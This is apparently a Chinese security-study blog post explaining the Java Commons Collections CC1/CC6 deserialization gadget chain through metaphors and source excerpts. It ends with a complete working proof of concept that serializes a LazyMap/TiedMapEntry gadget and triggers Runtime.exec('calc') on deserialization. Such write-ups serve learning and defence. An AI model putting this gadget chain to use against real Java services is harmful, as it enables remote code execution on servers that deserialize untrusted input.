之前复现了java cc1链子

顺便在这进行一个总结

核心武器:反射万能钥匙(InvokerTransformer

比喻InvokerTransformer类像一把万能钥匙,能通过反射调用任何方法。比如用钥匙打开“Runtime类”的锁,执行exec("calc")弹计算器

流水线组装:串联工具人(ChainedTransformer

比喻:为了绕过限制,攻击者需要多个“工具人”协作。ChainedTransformer就像一个流水线,把多个操作串联起来:

工具人A:先拿到Runtime对象(ConstantTransformer

工具人B:用万能钥匙调用exec方法(InvokerTransformer

原理:把这两个工具人按顺序放进ChainedTransformer,执行时会先获取Runtime对象,再调用exec方法。

触发机关:改造地图(TransformedMap

比喻TransformedMap是一个被魔改的地图,当地图中的值被修改时(比如调用setValue),会自动触发流水线上的工具人

点火开关:反序列化入口(AnnotationInvocationHandler

比喻AnnotationInvocationHandler是Java自带的“快递拆包员”,反序列化时会自动执行readObject方法(拆包裹逻辑)。攻击者把魔改地图塞进它的memberValues属性

触发流程

反序列化时,readObject方法遍历地图中的键值对

遍历到某个键值对时,调用setValue修改值,触发魔改地图的机关

  • 机关启动流水线工具人,最终弹计算器。

高版本jdk的修改

在jdk8u_71之后,AnnotationInvocationHandler类被重写了,修改了readObject方法,里面没有了setValue方法。

通过

ChainedTransformer的transform方法的用法,定位到LazyMap的get方法

protected final Transformer factory;
public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

逻辑

检查键是否存在,不存在时创建值并存储,存在时直接返回。

接着寻找入口点

TiedMapEntry

public Object getValue() {
return map.get(key);
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

TiedMapEntry的hashCode方法调用了getValue,getValue调用了get方法,所以可以用TiedMapEntry的hashCode方法调用LazyMap的get方法

接下来寻找谁调用了hashCode方法

HashMap

通过之前对URLDNS链的研究可知,HashMap的readObject方法有如下这行语句

putVal(hash(key), key, value, false, false);

而HashMap的hash方法调用了hashCode方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

而key的值是从readObject获取的

K key = (K) s.readObject();

序列化时可以用HashMap的put方法传key和value

hashMap.put(tiedMapEntry, "1");

但是hashmap的put会提前走完流程

public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

这里选择在新建LazyMap对象的时候,随便传入一个Transformer对象,等put完之后再通过反射修改回ChainedTransformer对象。

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put(tiedMapEntry, "3");

反射修改lazymap的factory的值

Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazymap, ct);

利用链

HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer ct = new ChainedTransformer(transformers);
Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

lazymap.remove("2");

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, ct);

serial(hashMap);
unserial();
}

public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
out.writeObject(obj);
}

public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("cc6.bin"));
in.readObject();
}
}